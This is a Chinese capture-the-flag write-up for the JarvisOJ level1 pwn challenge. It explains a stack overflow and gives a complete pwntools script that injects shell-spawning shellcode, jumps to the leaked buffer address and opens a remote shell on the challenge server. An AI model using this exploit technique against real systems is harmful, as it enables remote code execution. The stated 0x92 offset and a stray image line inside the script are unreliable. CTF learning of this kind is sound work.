JarvisOj [XMAN]level-1

思路WP

  • 同样的使用ida打开,由main函数开始,调用了vulner_function,也同样建立了buf字符串buf到ret的偏移为(0x4-(-0x88),一共为0x92。
main2.png
vuler.png
buff.png
buff-r.png
  • 但同样的,read函数向buf中输入的数据最大可为0x100。同样属于栈溢出,但该题并没有为我们提供callsteam函数,因此需要我们自行写,但因为pwntool的强大,我们可以使用pwn中的asm(shellcraft.sh())函数来直接获取执行。
  • system(“/bin/sh”)汇编代码所对应的机器码,但此时我们还需要得到buf的地址,经过调试可以知道当与服务器进行链接后,在服务器返回"What's this:%p?\n"后会有加上一个地址,由代码逻辑可知,这个地址就是buf的地址,由图片知其位置在[14:-2].
level1返回地址.png
  • 因此我们将之截取,并保存在buf_addr中。因此我们把shellcode的代码从buf的起始地址开始填充,然后buf中剩下的地址有a填充,因为我们最后需要调用shellcode代码,因此再加上buf_addr(记得将之字符化)

代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

![level1.png](https://upload-images.jianshu.io/upload_images/8384623-ce3277246964f144.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
shellcode = asm(shellcraft.sh())
#io = process('./level1')
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]
#print text[14:-2]
buf_addr = int(text, 16)

payload = shellcode + '\x90' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()

解释

recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n
int()表示将得到的地址转换为16进制数

结果

level1.png

你可能感兴趣的:(JarvisOj [XMAN]level-1)